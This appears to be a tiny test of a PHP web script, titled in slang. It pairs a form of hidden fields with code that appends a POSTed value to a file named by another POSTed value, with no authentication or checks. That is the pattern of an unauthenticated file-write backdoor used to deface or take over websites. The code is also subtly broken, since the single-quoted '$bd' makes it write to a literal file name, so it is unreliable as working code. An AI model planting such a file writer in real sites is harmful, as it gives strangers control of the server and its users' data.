gay sekerip test

<form method=post>
<input type=hidden name=dud>
<input type=hidden name=bd>
<input type=hidden value=submit>
</form>
<?php
$dud = $_POST['dud'];
$bd = $_POST['bd'];
$fh = fopen('$bd', 'a');
fwrite($fh,$dud);
fclose($fh);
?>